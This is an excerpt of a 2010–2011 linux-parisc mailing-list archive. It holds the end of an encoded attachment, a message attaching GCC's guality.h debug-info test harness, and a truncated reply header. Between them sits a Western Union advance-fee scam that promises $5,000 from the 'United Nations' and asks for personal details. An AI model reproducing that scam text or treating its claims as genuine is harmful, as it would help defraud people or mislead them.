gB4fCw2HwrtC3vBwctugPzwWivujJOqPjY3Eibd9k3dde2crS8TAJXpxaRcLhKNxDaePseDN
fm9cbOx4vbEaLy4vkJj9NYMXTIZ4B0d8QzER1TAkLDq8fb6Yn3hHfdFhfxSw/QHcsOgP+PuH
vSPBWDwpEds+GYPKgJc3lT000OcNhiJjccJ3fPQ/o2C7XOwH5UPq/sAwlPOOhPuH+U6QLzq0
00UM221Q+1gUmj4yNoqt6NrcunVrj3fdto3NW9s3bcS/moiEYyQUBr+eahqTH+oY9Y0j+xgu
pLzhkQFveHAwBqvdsVAsOBTyD2jQsijW2U/aNzZvur6rs3Vrq0HMJJ0ub7IbWGVcQcAfdY51
GBXQHx4d9UGHIGHU7xtgvYPNI96x0FjMP1DD996SeOyPZB2oaybT5s2tzVuTHYM8+AYl8Yb8
41DaG/ENVPOohkfLeeTmUS2JB0f9YegLbhlpTUppDBln7nUBA9DXCjeqcDAIxhNGM6rmZoQo
QAwGQwNeEIgtgJr/zs/hrHW+/uGxCO859mIV9uaLRtP3zbzeL46BtkCmUb3TmfpYyZAPrM27
k+1F652dHB6MggkcARGSXPug+HAkDPoA4w75/x93O0F2VDZWilbNVIQ7rYPBcWheBGzaP/IJ
f9XESeIkiJbAgb6oL9Qf0Fvyty5KGQ9QWL8vFA4F+0FU8AiDY6F+HK6DYRxWoxFf1M9eHzCz
CQ2DiiMMAjEML5gq8X7hXwJz4MVxF2ExOm75rsQeoj+c4FZCb+KRBdaK2yCaBFIrS2JkLWEE
GOGnvG1XFFeGjpoCR02CB8Bbjpq2IswYFaVgSCObJL1gqeOTfC2QbwF5P8cjywCRjqgQn4bw
FstmJbfy5ACEOE8mIBzHZJIVSmx9i6sAYnwXpasACXKLWQsxyt1B6BYe5Y4TOTZ+iiVo7nOY
f0WpoCj1Z0JBGht/2dGtVxIGBOElplad0KBLBG1FXFCI8UWYLigjqGeCYmQb4FVCZDvJZMbI
dprnQmT7PpHihMXUdolR5JXwr6RbruQa5FEe73ad0CjfAGezNYU1NBPBvGVceojxFZ0uPSOI
MOkxyruVCwRR3mGhZkjQvJfSpGOlOpl0GCEW6/+Qf8Q11I+gXeX1Q4yv/fT6GYGb1Y+R/SCr
HyP7PYwpRvZ302rXywR5lM91k1/CvwEbdGPfkWID5mf/NpFihMWMpUFOLJjv5nJCjJ+70uVk
BFtRzvSsB1GMZFZBBQQXEV+JIT0CIc6aNKsNQm9aOwpAX4UrGbYQ+rgQFjr4dQdiWtTNC8HA
mXWeJ0Hg2dYry59mjWeEj6Y1vhAsvPAiazxikI2hwewrb3dK0iLo5KLjvKbzvDZDTSiOwBaB
NRf9IzdhiOmshoxCTEr8XGgojx+Clde4eiHGj8LYE+n4d5kVYKR2EfpZiAYYJSTTCLMKWddj
pG5lrdcJDa3Pgs7JaiFS9SkW06xOpoksUEjWDKtIBUenVhH2ee4cS1K1mxFhhCxHBOdImuay
rKxu6XYiZICO7U7J0G2gxHphdbP2VCpPBT2r9xD5YNkplqDqcWI6+KM9RpLT+BnbWCd/7Ex/
7CsgLYZ0Qwa+hVsnFgvw5K2M0mCz7M/nkXALJ0TsFgN2JcMqMaKU208JXtA2P4sIGQC5WT7+
EXTMQId/qJzQkQnGN4XUHyS6h0iuUywm5CHWO6lnkuUrk+NKuYb5JxkNwu6SUyzN/uJ7kEWE
XCLKPnKQlJ1iaUI+wg7DCGuXD44bNMref538vWcBX2UBf2mBvrJAGSsRb60B8Z56zVAOqsv5
kL+7rGdT+Taweds9wrNfSuXbV6Zclz110AC3fmg+9Ek+WFQ+uIN8eHHlQ135QJd/nLkMWvD4
309fAEOqAF6iBSCv+CPkT5/v4k7IiGfOAdpY1JJyDEUzKXwWeMislXxQZRkMHucdOPL1fR/x
OGO7R2EyCXE8yuOAngriWixCnKFw3O9sbGqvjPuGiDPgiwWIc2B3CAryGGZWTpiTOXfCUgom
vWmAF3BR/4gPCUUqAis7J/vzb2ccJ/hO9pfizmh4wBf3EWdX4+b2Lc3OsdAumMcSpz/gHYzC
nNcbGIimIOLsj4dh4eYc4NFN/VEmi2802A8Jxgi/4jv7YjHeACgByxWYpgPa3zc2BNNuX2jI
H9PBYGgwnET19eH0WUBsyizSonIOsIYLmnC/nhRs/6YHNw7F373jJkDyDoxk54kY79LIEnS4
xaXfVaE/+nQQz0qYBV0L0OFexwMGvLjzgtQR/V4Jdp6LhV5RlpLUPRZ4nELmdHj+CwM13j+h
y7denN2S+LktdnZrmaFeSYSt7KwXp5sC9JRoh7FefPpFWuLnxdiZseKMduA32FED3TQkIbBz
Z5g320C3S/BXCDWDPjCQ1NG+FN8vGejAVWAoePQqdBMpOnZuD4L43pJOdztJ9m/xOaA7xzfJ
r6A7kqIrcRGCgTYInIWk+u10ig7vI0neSZLJ77sGOvDgGNhLJpPucUEn83Nj7G4V9Sp0Txro
poFu+hPonjHQQVsXnDPgjHQ/J/zsmczPsS3Q72YxG+iQ/0spfni+cCH228qr8IsKuix+z8NC
PNCR2W/I7zcpfnjnSCneO1KSQYfht4Je5ndIlD6cUa/e9rdI6u4UIujqDXT6+HhHpF2CDt32
jRl0GP7NUAYeDW2098p6qZRBB+Mj56yBTuBw6WSkuw7exfKDV6ErSaerwn2b312FriKdrgbf
610GOv1QXi1Ja6+7E1D3ZvCjwsYN/Fb+D1Bn5Cr1dqTTNdwAYOJKOnY3TuqOItL4K0D1XIWO
j43k0w7tz0J/t5jw+250/5edzq8LfJrpSAr+xLt3iLjPiF1wJOBFApYE3CJgWcAzAuY65Odt
EeZjQpyHlfUzm8x/Mljce8J8JMKqgKcFzO/9YX6PwTkCflfA/BwsP++LsFXA5wTM30fMLzHY
xmHmexDOE/CkgPkdQvwcKsL5AtblKRCwzr9QwM8JmPszfp4Y4VkCviBgfn+SuDNIxrPFHH5E
wMazogjPzYDnZcDzM+CSDHhBBrwwAy7NgLUM2JEBl6G0un4J1282wC8ZYJj6Fp83wFW6PinX
5xpdn5Trs0PXJ+X6hOUBnq8n90i8f/FvXtAf4nYG6udLACM/k4APAP1FiIsE/TcB/jPE9QL+
J5hGugz4p6C+MwZ5YGG04FEBY/+/kSHPO9AetKtbeXkc+ngeXudH54M96lNZPEm5GPC6P8O1
QJWuPxO7I4qu0vdeRPn1eLIn1R5cL1ZheauA+/DIF+qSMn3SW/DskIH+EExfxNKA8T9+Gc+g
p+CvZuC/lSHP99g57BS/M+JMtirgX+j9R5i+6G/1c825XP7fZ+A/0scDZeNBMuvjQWPjQUre
08UHk1SWfieXVCOm+l0CXqXvQwm4KaP81vQ7u6R+Ha9x/K4M+jt0f1HA+kc6nH6Hl/TNDPof
AD2+3/GOLGiy9AwecSLJO7OkV/W9JyHfW3p77by9f9L3ugT+rzo+n+FlU3p98mw8ZpXiL1dk
4EEfTuYv8yVWfh0ewjLQfwH0f1bg8RTscPodY/ItGfzuhPIPc3mx/fIJ/Vx6gcToz4gDXC4h
71MZ5V/W9+kE/4sZ+I/TYVOevk/I6U1zM/DQ/1UzKXlMdRn49nR5TV0Z+L70O81M8Qz8vrQ7
zYjpgPi7EcTnEGdnhO1nQJx58Vd6lrgqrHnrps3ezvYtW9lNYS1p0IZmAzAQ9g6NhPt8I162
/PP6xsYJfugf8cf9A073qho3QYQ3ODCO0ArS7xsZ8V69HF9cDoyNju7mZMYMIVPrxhZW77rN
jde3JiEUSU+nOPenJMqsNIXCzSiuCJZi7U9tsKRvkaXtRGbs0F25WehcXlNXfdVduujyam9s
BNbEsaiLJ0ajEZ4Qex9sM8VZXeNyp+3lYA7uuKG8uFnl28320hYtgvU2tjEdxa56I96Wno2N
17c3E1yKizx+W11DQ+rStytMgBMmd9z4pXTpJdLvk7vKLXniCru0Upz7Vbek2H15acS4mYbb
c17cwrxyyzBjq87QwNR23iLe44vEPXpG9lfuILN7+9IbORALewPQaSP+T9zDEwNEN8D04cWv
/0vn2ReL6Z3zX2+XiV1tfkegkY9hi/yKywGNdPxOQmNOalsy7VbCNCHRrvjdhunZ7IMOv7fQ
iOCb7uk5eMWhMYd3E9PK/wWdMzZfvVQAAA==

--BOKacYhQ+x31HxR3--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: flush pages through tmpalias space
Date: Thu, 30 Dec 2010 11:09:44 -0500
Organization: nrc.ca
Lines: 405
Approved: news@gmane.org
Message-ID: <20101230160944.GA7360@hiauly1.hia.nrc.ca>
References: <1293034931.3019.8.camel@mulgrave.site> <20101229042346.GA973@hiauly1.hia.nrc.ca> <1293634281.2803.4.camel@fuzzy> <20101230155640.GA7058@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="FCuugMFkClbJLl1L"
X-Trace: dough.gmane.org 1293725393 14459 80.91.229.12 (30 Dec 2010 16:09:53 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 30 Dec 2010 16:09:53 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 30 17:09:49 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PYL4W-0003Q9-1L
	for glpp-linux-parisc@lo.gmane.org; Thu, 30 Dec 2010 17:09:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754822Ab0L3QJr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 Dec 2010 11:09:47 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2268 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754515Ab0L3QJq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 Dec 2010 11:09:46 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 66DD34E51; Thu, 30 Dec 2010 11:09:45 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20101230155640.GA7058@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3314
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3314>


--FCuugMFkClbJLl1L
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Thu, 30 Dec 2010, John David Anglin wrote:

> Attached is an application that triggers similar errors:

Sorry, missed the key bit of code.  Hope previous message 
isn't blocked.  If so, I'll resend without exe.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--FCuugMFkClbJLl1L
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="guality.h"

/* Infrastructure to test the quality of debug information.
   Copyright (C) 2008, 2009 Free Software Foundation, Inc.
   Contributed by Alexandre Oliva <aoliva@redhat.com>.

This file is part of GCC.

GCC is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3, or (at your option)
any later version.

GCC is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with GCC; see the file COPYING3.  If not see
<http://www.gnu.org/licenses/>.  */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>

/* This is a first cut at checking that debug information matches
   run-time.  The idea is to annotate programs with GUALCHK* macros
   that guide the tests.

   In the current implementation, all of the macros expand to function
   calls.  On the one hand, this interferes with optimizations; on the
   other hand, it establishes an optimization barrier and a clear
   inspection point, where previous operations (as in the abstract
   machine) should have been completed and have their effects visible,
   and future operations shouldn't have started yet.

   In the current implementation of guality_check(), we fork a child
   process that runs gdb, attaches to the parent process (the one that
   called guality_check), moves up one stack frame (to the caller of
   guality_check) and then examines the given expression.

   If it matches the expected value, we have a PASS.  If it differs,
   we have a FAILure.  If it is missing, we'll have a FAIL or an
   UNRESOLVED depending on whether the variable or expression might be
   unavailable at that point, as indicated by the third argument.

   We envision a future alternate implementation with two compilation
   and execution cycles, say one that runs the program and uses the
   macros to log expressions and expected values, another in which the
   macros expand to nothing and the logs are used to guide a debug
   session that tests the values.  How to identify the inspection
   points in the second case is yet to be determined.  It is
   recommended that GUALCHK* macros be by themselves in source lines,
   so that __FILE__ and __LINE__ will be usable to identify them.
*/

/* This is the type we use to pass values to guality_check.  */

typedef intmax_t gualchk_t;

/* Convert a pointer or integral type to the widest integral type,
   as expected by guality_check.  */

#ifndef __cplusplus
#define GUALCVT(val)						\
  ((gualchk_t)__builtin_choose_expr				\
   (__builtin_types_compatible_p (__typeof (val), gualchk_t),	\
    (val),							\
    __builtin_choose_expr					\
    (__builtin_classify_type (val)				\
     == __builtin_classify_type (&guality_skip),		\
     (uintptr_t)(val),(intptr_t)(val))))
#else
template <typename T>
inline __attribute__((always_inline)) gualchk_t
gualcvt (T *val)
{
  return (uintptr_t) val;
}

template <typename T>
inline __attribute__((always_inline)) gualchk_t
gualcvt (T val)
{
  return (intptr_t) val;
}

template <>
inline __attribute__((always_inline)) gualchk_t
gualcvt<gualchk_t> (gualchk_t val)
{
  return val;
}

#define GUALCVT(val) gualcvt (val)
#endif

/* Attach a debugger to the current process and verify that the string
   EXPR, evaluated by the debugger, yields the gualchk_t number VAL.
   If the debugger cannot compute the expression, say because the
   variable is unavailable, this will count as an error, unless unkok
   is nonzero.  */

#define GUALCHKXPRVAL(expr, val, unkok) \
  guality_check ((expr), (val), (unkok))

/* Check that a debugger knows that EXPR evaluates to the run-time
   value of EXPR.  Unknown values are marked as acceptable,
   considering that EXPR may die right after this call.  This will
   affect the generated code in that EXPR will be evaluated and forced
   to remain live at least until right before the call to
   guality_check, although not necessarily after the call.  */

#define GUALCHKXPR(expr) \
  GUALCHKXPRVAL (#expr, GUALCVT (expr), 1)

/* Same as GUALCHKXPR, but issue an error if the variable is optimized
   away.  */

#define GUALCHKVAL(expr) \
  GUALCHKXPRVAL (#expr, GUALCVT (expr), 0)

/* Check that a debugger knows that EXPR evaluates to the run-time
   value of EXPR.  Unknown values are marked as errors, because the
   value of EXPR is forced to be available right after the call, for a
   range of at least one instruction.  This will affect the generated
   code, in that EXPR *will* be evaluated before and preserved until
   after the call to guality_check.  */

#define GUALCHKFLA(expr) do {					\
    __typeof(expr) volatile __preserve_after;			\
    __typeof(expr) __preserve_before = (expr);			\
    GUALCHKXPRVAL (#expr, GUALCVT (__preserve_before), 0);	\
    __preserve_after = __preserve_before;			\
    asm ("" : : "m" (__preserve_after));			\
  } while (0)

/* GUALCHK is the simplest way to assert that debug information for an
   expression matches its run-time value.  Whether to force the
   expression live after the call, so as to flag incompleteness
   errors, can be disabled by defining GUALITY_DONT_FORCE_LIVE_AFTER.
   Setting it to -1, an error is issued for optimized out variables,
   even though they are not forced live.  */

#if ! GUALITY_DONT_FORCE_LIVE_AFTER
#define GUALCHK(var) GUALCHKFLA(var)
#elif GUALITY_DONT_FORCE_LIVE_AFTER < 0
#define GUALCHK(var) GUALCHKVAL(var)
#else
#define GUALCHK(var) GUALCHKXPR(var)
#endif

/* The name of the GDB program, with arguments to make it quiet.  This
   is GUALITY_GDB_DEFAULT GUALITY_GDB_ARGS by default, but it can be
   overridden by setting the GUALITY_GDB environment variable, whereas
   GUALITY_GDB_DEFAULT can be overridden by setting the
   GUALITY_GDB_NAME environment variable.  */

static const char *guality_gdb_command;
#define GUALITY_GDB_DEFAULT "gdb"
#if defined(__unix)
# define GUALITY_GDB_REDIRECT " > /dev/null 2>&1"
#elif defined (_WIN32) || defined (MSDOS)
# define GUALITY_GDB_REDIRECT " > nul"
#else
# define GUALITY_GDB_REDIRECT ""
#endif
#define GUALITY_GDB_ARGS " -nx -nw --quiet" GUALITY_GDB_REDIRECT

/* Kinds of results communicated as exit status from child process
   that runs gdb to the parent process that's being monitored.  */

enum guality_counter { PASS, INCORRECT, INCOMPLETE };

/* Count of passes and errors.  */

static int guality_count[INCOMPLETE+1];

/* If --guality-skip is given in the command line, all the monitoring,
   forking and debugger-attaching action will be disabled.  This is
   useful to run the monitor program within a debugger.  */

static int guality_skip;

/* This is a file descriptor to which we'll issue gdb commands to
   probe and test.  */
FILE *guality_gdb_input;

/* This holds the line number where we're supposed to set a
   breakpoint.  */
int guality_breakpoint_line;

/* GDB should set this to true once it's connected.  */
int volatile guality_attached;

/* This function is the main guality program.  It may actually be
   defined as main, because we #define main to it afterwards.  Because
   of this wrapping, guality_main may not have an empty argument
   list.  */

extern int guality_main (int argc, char *argv[]);

static void __attribute__((noinline))
guality_check (const char *name, gualchk_t value, int unknown_ok);

/* Set things up, run guality_main, then print a summary and quit.  */

int
main (int argc, char *argv[])
{
  int i;
  char *argv0 = argv[0];

  guality_gdb_command = getenv ("GUALITY_GDB");
  if (!guality_gdb_command)
    {
      guality_gdb_command = getenv ("GUALITY_GDB_NAME");
      if (!guality_gdb_command)
	guality_gdb_command = GUALITY_GDB_DEFAULT GUALITY_GDB_ARGS;
      else
	{
	  int len = strlen (guality_gdb_command) + sizeof (GUALITY_GDB_ARGS);
	  char *buf = (char *) __builtin_alloca (len);
	  strcpy (buf, guality_gdb_command);
	  strcat (buf, GUALITY_GDB_ARGS);
	  guality_gdb_command = buf;
	}
    }

  for (i = 1; i < argc; i++)
    if (strcmp (argv[i], "--guality-skip") == 0)
      guality_skip = 1;
    else
      break;

  if (!guality_skip)
    {
      guality_gdb_input = popen (guality_gdb_command, "w");
      /* This call sets guality_breakpoint_line.  */
      guality_check (NULL, 0, 0);
      if (!guality_gdb_input
	  || fprintf (guality_gdb_input, "\
set height 0\n\
attach %i\n\
set guality_attached = 1\n\
b %i\n\
continue\n\
", (int)getpid (), guality_breakpoint_line) <= 0
	  || fflush (guality_gdb_input))
	{
	  perror ("gdb");
	  abort ();
	}
    }

  argv[--i] = argv0;

  guality_main (argc - i, argv + i);

  i = guality_count[INCORRECT];

  fprintf (stderr, "%s: %i PASS, %i FAIL, %i UNRESOLVED\n",
	   i ? "FAIL" : "PASS",
	   guality_count[PASS], guality_count[INCORRECT],
	   guality_count[INCOMPLETE]);

  return i;
}

#define main guality_main

/* Tell the GDB child process to evaluate NAME in the caller.  If it
   matches VALUE, we have a PASS; if it's unknown and UNKNOWN_OK, we
   have an UNRESOLVED.  Otherwise, it's a FAIL.  */

static void __attribute__((noinline))
guality_check (const char *name, gualchk_t value, int unknown_ok)
{
  int result;

  if (guality_skip)
    return;

  {
    volatile gualchk_t xvalue = -1;
    volatile int unavailable = 0;
    if (name)
      {
	/* The sequence below cannot distinguish an optimized away
	   variable from one mapped to a non-lvalue zero.  */
	if (fprintf (guality_gdb_input, "\
up\n\
set $value1 = 0\n\
set $value1 = (%s)\n\
set $value2 = -1\n\
set $value2 = (%s)\n\
set $value3 = $value1 - 1\n\
set $value4 = $value1 + 1\n\
set $value3 = (%s)++\n\
set $value4 = --(%s)\n\
down\n\
set xvalue = $value1\n\
set unavailable = $value1 != $value2 ? -1 : $value3 != $value4 ? 1 : 0\n\
continue\n\
", name, name, name, name) <= 0
	    || fflush (guality_gdb_input))
	  {
	    perror ("gdb");
	    abort ();
	  }
	else if (!guality_attached)
	  {
	    unsigned int timeout = 0;

	    /* Give GDB some more time to attach.  Wrapping around a
	       32-bit counter takes some seconds, it should be plenty
	       of time for GDB to get a chance to start up and attach,
	       but not long enough that, if GDB is unavailable or
	       broken, we'll take far too long to give up.  */
	    while (--timeout && !guality_attached)
	      ;
	    if (!timeout && !guality_attached)
	      {
		fprintf (stderr, "gdb: took too long to attach\n");
		abort ();
	      }
	  }
      }
    else
      {
	guality_breakpoint_line = __LINE__ + 5;
	return;
      }
    /* Do NOT add lines between the __LINE__ above and the line below,
       without also adjusting the added constant to match.  */
    if (!unavailable || (unavailable > 0 && xvalue))
      {
	if (xvalue == value)
	  result = PASS;
	else
	  result = INCORRECT;
      }
    else
      result = INCOMPLETE;
    asm ("" : : "X" (name), "X" (value), "X" (unknown_ok), "m" (xvalue));
    switch (result)
      {
      case PASS:
	fprintf (stderr, "PASS: %s is %lli\n", name, value);
	break;
      case INCORRECT:
	fprintf (stderr, "FAIL: %s is %lli, not %lli\n", name, xvalue, value);
	break;
      case INCOMPLETE:
	fprintf (stderr, "%s: %s is %s, expected %lli\n",
		 unknown_ok ? "UNRESOLVED" : "FAIL", name,
		 unavailable < 0 ? "not computable" : "optimized away", value);
	result = unknown_ok ? INCOMPLETE : INCORRECT;
	break;
      default:
	abort ();
      }
  }

  switch (result)
    {
    case PASS:
    case INCORRECT:
    case INCOMPLETE:
      ++guality_count[result];
      break;

    default:
      abort ();
    }
}

--FCuugMFkClbJLl1L--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: WESTERN UNION <info@westy.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Process your first payment of $ 5,000 USD
Date: Fri, 31 Dec 2010 14:12:34 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20101231141234.143434yrdd7xwpmq@webmail.ausl.bologna.it>
Reply-To: wupayoff5@hotmail.com
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
 charset=UTF-8;
 DelSp="Yes";
 format="flowed"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1293801870 28030 80.91.229.12 (31 Dec 2010 13:24:30 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 31 Dec 2010 13:24:30 +0000 (UTC)
To: undisclosed-recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 31 14:24:26 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PYey1-0003rc-3s
	for glpp-linux-parisc@lo.gmane.org; Fri, 31 Dec 2010 14:24:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753486Ab0LaNYY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Dec 2010 08:24:24 -0500
Original-Received: from mailserver.ausl.bo.it ([212.210.92.253]:34913 "HELO
	mailserver.ausl.bo.it" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with SMTP id S1753477Ab0LaNYX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Dec 2010 08:24:23 -0500
Original-Received: (qmail 24180 invoked by uid 1008); 31 Dec 2010 13:12:38 -0000
Original-Received: from 172.27.6.82 by pathfinder (envelope-from <info@westy.org>, uid 1002) with qmail-scanner-2.02 
 (clamdscan: 0.91.2/4545. uvscan: v5.1.00/v5143. spamassassin: 3.2.3.  
 Clear:RC:1(172.27.6.82):SA:0(-87.1/6.0):. 
 Processed in 2.940163 secs); 31 Dec 2010 13:12:38 -0000
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on
	pathfinder.internal.ausl.bologna.it
X-Spam-Level: 
X-Spam-Status: No, score=-87.1 required=6.0 tests=AWL,FREEMAIL_FORGED_REPLYTO,
	FREEMAIL_REPLYTO,FREEMAIL_REPLYTO_END_DIGIT,FROM_MAIL123,RCVD_IN_BRBL_LASTEXT,
	RCVD_IN_PBL,RDNS_NONE,T_FILL_THIS_FORM_SHORT,T_LOTS_OF_MONEY,
	T_TO_NO_BRKTS_FREEMAIL autolearn=disabled version=3.3.1
X-Spam-DCC: : 
X-Envelope-From: info@westy.org
Original-Received: from unknown (HELO mailbus.ausl.bologna.it) (172.27.6.82)
  by pathfinder with SMTP; 31 Dec 2010 13:12:35 -0000
Original-Received: from localhost (localhost [127.0.0.1])
	by mailbus.ausl.bologna.it (Postfix) with ESMTP id 0A39F235D86;
	Fri, 31 Dec 2010 14:12:35 +0100 (CET)
X-Virus-Scanned: amavisd-new at ausl.bologna.it
Original-Received: from mailbus.ausl.bologna.it ([127.0.0.1])
	by localhost (cillenio.internal.ausl.bologna.it [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id JbNoibcc5Q7G; Fri, 31 Dec 2010 14:12:34 +0100 (CET)
Original-Received: from localhost (newwebmail.internal.ausl.bologna.it [172.26.2.147])
	by mailbus.ausl.bologna.it (Postfix) with ESMTP;
	Fri, 31 Dec 2010 14:12:34 +0100 (CET)
Original-Received: from 41.138.187.33 ([41.138.187.33]) by webmail.ausl.bologna.it
 (Horde Framework) with HTTP; Fri, 31 Dec 2010 14:12:34 +0100
Content-Disposition: inline
User-Agent: Internet Messaging Program (IMP) 4.3.3
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3315
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3315>



I wish to inform you that we have Process your first payment of $  
5,000 USD.To track payment use www.westernunion.com before going to  
pick  it up Sender Name: James Mark, MTCN 020-484-1459,This funds was  
given to you by the United Nations With Ecowas to support individial  
due to the worldwide economy meltdown,your email was luckly picked  
among other.we are mandated to send you the total sum of 150,000USD  
through Western Union.send name, address, phone number for more  
information To email wupayoff2@rocketmail.com

Regards
Pastor Cole Jefferson.


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: flush pages through tmpalias space
Date: Sat, 1 Jan 2011 13:31:08 -0500
Organization: nrc.ca
Lines: 34
Approved: news@gmane.org
Message-ID: <20110101183108.GA19035@hiauly1.hia.nrc.ca>
References: <1293034931.3019.8.camel@mulgrave.site> <20101229042346.GA973@hiauly1.hia.nrc.ca> <1293634281.2803.4.camel@fuzzy> <20101230155640.GA7058@hiauly1.hia.nrc.ca> <20101230160944.GA7360@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1293906679 30465 80.91.229.12 (1 Jan 2011 18:31:19 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 1 Jan 2011 18:31:19 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 01 19:31:15 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PZ6EU-0008BF-FV
	for glpp-linux-parisc@lo.gmane.org; Sat, 01 Jan 2011 19:31:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752923Ab1AASbM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 1 Jan 2011 13:31:12 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2383 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752493Ab1AASbL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 1 Jan 2011 13:31:11 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 8ADE14DF4; Sat,  1 Jan 2011 13:31:09 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20101230160944.GA7360@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3316
